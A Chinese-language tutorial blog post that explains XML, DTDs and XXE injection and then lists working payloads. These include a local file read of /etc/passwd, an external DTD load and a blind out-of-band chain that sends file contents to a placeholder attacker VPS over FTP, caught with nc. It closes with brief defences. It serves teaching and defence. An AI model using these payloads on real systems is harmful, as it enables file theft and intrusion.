浅析XXE外部实体注入漏洞

发布于 2021-08-06  66 次阅读


什么是XML

可扩展性标记语言,是一种标记语言。主要用于:传送数据信息(即描述数据是什么,以及携带数据)。语言格式和HTML十分类似。

举例如下:

//便于理解
<?xml version=“1.0”?> //XML声明
<小纸条> //文档元素
<收件人>王富贵</收件人> //子结点
<发件人>李小花</发件人>
<主题>问候</主题>
<具体内容>今天学习了吗?</具体内容>
</小纸条>

//正式例子
<?xml version=“1.0”?> //XML声明

<!DOCTYPE note [ //文档类型定义(DTD)(内部定义)
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#) (#PCDATA)>
<!ELEMENT from (#) (#PCDATA)>
<!ELEMENT heading (#) (#PCDATA)>
<!ELEMENT body (#) (#PCDATA)>
]>

<note> //文档元素
<to>王富贵</to> //子结点
<from>李小花</from>
<heading>问候</heading>
<body>今天学习了吗?</body>
</note>

什么是DTD?

DTD(文档类型定义)的作用是定义XML文档的合法构建模块。它可以在XML文档内声明,也可以外部引用。

外部定义: 
<!DOCTYPE note SYSTEM “note.dtd”>
note.dtd 内容:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#) (#PCDATA)>
<!ELEMENT from (#) (#PCDATA)>
<!ELEMENT heading (#) (#PCDATA)>
<!ELEMENT body (#) (#PCDATA)>

note.dtd可控的时候,就会产生XXE注入漏洞

什么是XXE注入?

XML 外部实体注入 / XXE (XML External Entity Injection) 漏洞发生在应用 程序解析 XML 输入时,没有禁止外部实体的加载。通过 XML 实体的 SYSTEM 关键词导致 XML 解析器可以从本地文件或者远程 URL 中读取数据。 所以攻击者可以通过 XML 实体传递自己构造的恶意值,使得处理程序解析 它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系 统命令、探测内网端口、攻击内网网站等危害。

如何构造XXE实体注入

//直接通过DTD外部实体声明:
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<root>
<name>&b;</name>
</root>

//通过DTD文档引入外部DTD文档,再引入外部实体声明:
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://192.168.xx.xx:8890/test.dtd"> %d;
]>
<root>
<name>&b;</name>
</root>
test.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">

XXE漏洞探测技巧

  • 观察程序如何传输数据的,是否利用XML传输数据。
  • 尝试插入外部实体,观察回显。<?xml version="1.0"?>
    <!DOCTYPE a[
    <!ENTITY b "DASCTF">
    ]>
    <root>
    <username>&b;</username>
    <password>&b;</password>
    </root>
  • 尝试插入外部地址的外部实体,观察是否有请求

XXE漏洞利用方式

一般XEE利用分两大情景:

  • 有回显:
    • 描述:可直接在页面中看到payload的执行结果。
    • 思路:直接利用进行敏感文件获取等操作,直接输出结果。
      • 在外部实体处利用PHP伪协议进行文件读取
  • 无回显( blind xee ):
    • 描述:看不到 payload 的执行结果。
    • 思路:可通过外带使用外带数据通道提取数据,或者查看中间件日志。
      • 客户端发送payload 1给web服务器,
      • web服务器向vps获取恶意DTD,并执行文件读取payload2,
      • web服务器带着回显结果访问VPS上特定的FTP或者HTTP
      • 通过VPS获得回显(nc监听端口)//本地客户端
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]></pre>
        //web服务器读取
        <!ENTITY % payload SYSTEM "file:///etc/passwd">
        <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
        %int;
        %trick;</pre>

XXE漏洞防御手段

  • 后端开发语言提供禁用外部实体的方法
  • 过滤用户提交的XML数据